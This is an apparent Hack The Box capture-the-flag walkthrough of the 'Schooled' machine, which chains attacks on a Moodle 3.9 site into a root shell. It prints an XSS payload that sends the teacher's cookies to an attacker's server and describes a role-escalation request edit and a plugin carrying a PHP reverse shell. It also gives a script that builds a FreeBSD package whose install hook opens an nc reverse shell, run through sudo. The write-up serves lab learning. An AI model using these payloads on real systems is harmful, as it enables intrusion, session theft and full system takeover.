Introduction
This box is a medium level box from the hackthebox .Which starts with the subdomain enumertion.And this using xss to get the teacher cookies .
Further exploiting the login as function in the moodle LMS . The get full privileges to upload a malicious plugin and then after getting the reverse shell . Enumerating the box gives mysql user creds.
From data base we get the hash for the user .After cracking it we complete our user part .Then for root we install a malicious package as sudo user to get the root shell.
Steps Involved
1-Port Scan
2-Subdomain enumeration
3-XSS to steal the cookies
4-Exploiting login as feature of moodle LMS
5-Getting full privilege on admin panel
6-Uploading malicious plugin
7-Getting shell as www user.
8-Enumeratiing on the target machine
9-Enumerating database
10-Cracking the hash
11-Getting shell as user (User flag)
12-Making a malicious pkg
12-Getting root through abusing sudo
Lessons learned
1-Nmap basics
2-Subdomain enumeration
3-XSS
4-Using burp
5-Linux basics
6-Mysql
7-John the ripper
8-Abusing sudo
Port scan
Nmap Show only two ports are open.
22 and 80
So let’s check the port 80 first.
The website looks like e-learning website. To see the external links i used curl and grep .
I saw something interested here [email protected]
Many time I have seen in htb machine it indicates some kind of subdomain.
like admission.schooled.htb
But on admission.schooled.htb we are directed to the same website again . So I decided to enumerate the subdomains Using gobuster.
Subdomain enumeration
gobuster vhost schooled.htb -u http://schooled.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt : Subdomain enumeration
Notice that I using wordlist from seclists.
And I got a subdomain moodle.schooled.htb
On opening it I came to know that Moodle is a LMS.
The next was to register into the LMS
But the email domain that was allowed was [email protected]
After registration I logged in and Enrolled into the math’s Course.
XSS to steal the cookies
On checking the moodle documents which was give at the bottom of the page . I came to know that it was version 3.9
So I searched for the vulnerability in the moodle 3.9 So I saw xss in one of the forum .
Moreover in the Announcements on Manuel Saw a field that students are required to fill.
That was a great hint that it might have xss in that field .
So I tried with the Simple script to see if it works
And It worked .
So now the next step was to steal the cookies of teacher so that we can login as teacher.
<img src=x onerror=this.src='https://ip:port/?'+document.cookie;>And run a python server locally to capture the request.
And we got the cookie of the teacher . I think
So I changed the cookie .
And then refreshed the page And got the shell as Teacher .
Exploiting Login as feature in Moodle
When I was googling about the moodle 3.9 exploits I also came to know that it had a log in as vulnerability which allowed other users to login as other users .
Moreover a teacher could also login as administrator .
Here Lianne Carter was manager So we can login as Liane Carter to get the admin panel.
And intercept the request in the burp .
And change the ids .
Change 25 to 24 as we want to login as Lianne through the Manuels account and changing role id to 1 to get admin privileges.
Now turn off the proxy and again add lianne another time . And now click on the Lianne’s name.
Now we can use the login as option to login into the admin panel.
Now we have the admin shell .
So now we want get a reverse shell . So for that we have to upload our payload . And plugin seems to be a good option to upload our payload.
But currently we don’t have permission to upload a plugin.
Getting full privilege on admin panel
I have found a github repo where a payload was given to get the full permission .
I will give the link of every thing below.
So now let’s get all the privileges.
Go to define roles first .
Now edit the roles for the manager.
Now just click on the save changes.
Capture this request in burp.
This how the request looks .
Now let’s replace it with our payload.
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Now forward this modified request .
Uploading malicious plugin
Now we have the privilege to upload the plugin.
When I was searching for the exploits of moodle 3.9 . I also came across this github repo which showed how to get the reverse shell in the moodle through uploading a malicious payload.
So I downloaded the rce.zip.
And then tested it . And it worked so I edited it’s php file and entered a php reverse shell into it .
So that i can get the reverse shell.
Here is the directory structure of the zip file .
We have to edit the block_rce.php and enter our php reverse shell in it.
And then again zip it and upload it to the moodle site.
so now it is installed and we need to trigger it .
Getting shell as www
To trigger it simple go to the path of our payload and don’t forget to run the nc on your local machine to get the reverse shell.
And boom! we get the reverse shell as www-data. And once we are on the machine now we can enumerate further.
Enumerating on the target machine
On enumerating a lot I found mysql creds for the moodle user.
I tried to run mysql but it did not found .
So searched for the binary and found it in the /usr/local/bin/mysql
Enumerating Database
Now we had to just some simple mysql queries to enumerate the database.
After checking a few tables I found the mdl_user table which contained the hashes for the users .
And here we also had the admin hash here so I copied it and saved it .
Cracking the hash
Now using the john I was able to crack the hash after a little time.
Getting user shell(user flag)
So we knew ssh was open so I logged in as Jamie through ssh and got the ADMIN SHELL.
After getting the user flag now it was time to get the root flag .
So we can install the pkg as super user . So we need to make a malicious pkg and install it to get the root.
Making malicious pkg and getting root shell
#!/bin/sh
STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo “Resetting root shell”
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc IP PORT >/tmp/a
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo “Registering root shell”
pw usermod -n root -s /bin/sh
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: “1.0_5”
origin: sysutils/mypackage
comment: “automates stuff”
desc: “automates tasks which can also be undone later”
maintainer: [email protected]
www: https://doe.it
prefix: /
EOF
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .
Commands
jamie@Schooled:~cd /tmp
jamie@Schooled /tmp:~ls
exploit.sh
jamie@Schooled /tmp:~ chmod +x exploit.sh
jamie@Schooled /tmp:~./exploit.sh
jamie@Schooled /tmp:~ls
mypackage1.0_5.txz exploit.sh
jamie@Schooled /tmp:~ sudo pkg install — no-repo-update *.txz
And we get the root shell.
References
| CWE-79 – Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) | https://www.cybersecurity-help.cz/vdb/cwe/79/ |
| Full admin panel privilege | https://github.com/HoangKien1020/CVE-2020-14321 |
| Malicious plugin | https://github.com/HoangKien1020/Moodle_RCE |
| Making BSD pkg | http://lastsummer.de/creating-custom-packages-on-freebsd/ |
